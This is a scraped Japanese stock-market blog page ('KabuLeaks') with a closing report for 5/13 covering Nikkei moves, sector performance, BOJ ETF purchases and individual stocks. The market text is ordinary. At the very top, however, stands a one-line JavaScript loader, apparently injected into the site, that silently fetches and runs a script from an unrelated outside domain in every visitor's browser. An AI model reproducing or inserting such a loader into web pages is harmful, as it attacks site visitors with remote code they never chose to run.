;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【5/13 大引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【5/13 大引け】

本日の日経平均株価は139円高と4日続伸。朝方は前日の欧米株市場が世界的な金利上昇に対する懸念から軟調だったことを受け売りが先行。ただ、下値では日銀のETF買い、根強い先高期待などから切り返しプラス圏に浮上。後場入り後は先物主導で上げ幅を拡大、終値で1万9700円台、日経平均は節目の25日線上に回復してきた。業種別では、非鉄金属、その他製品、金属製品、鉱業などが上昇率上位に。一方、下落率上位は、パルプ・紙、保険業、ゴム製品、銀行業など。東証1部の売買高概算は27億9159万株、売買代金概算は2兆9213億1000万円。値上がり銘柄数は869、対して値下がり銘柄数は880、変わらずは133銘柄となった。なお、日銀よる買入は361億円(ETF)

個別では、後場に決算と自社株買いを発表した【6113】アマダホールディングス、【4611】大日本塗料などが上昇。大日本塗料はクオカードの株主優待制度も導入を好感され買われたほか、【6047】Gunosy、【2429】ワールドホールディングスなどが後場急伸一段高。その他、【7974】任天堂、【5541】大平洋金属、【7913】図書印刷などが年初来高値を更新した。

東証1部の値上がり銘柄数と値下がり銘柄数の比率はともに約46%と拮抗。買いの広がりを欠く中での大幅高となっており、本日の上昇から再度2万円へ向けての上昇になるかといえばやや疑問が残る。ギリシャ債務問題なども不安材料も払拭しきれておらず引き続き警戒だけはしておきたい。欧米金利の動向にも注目。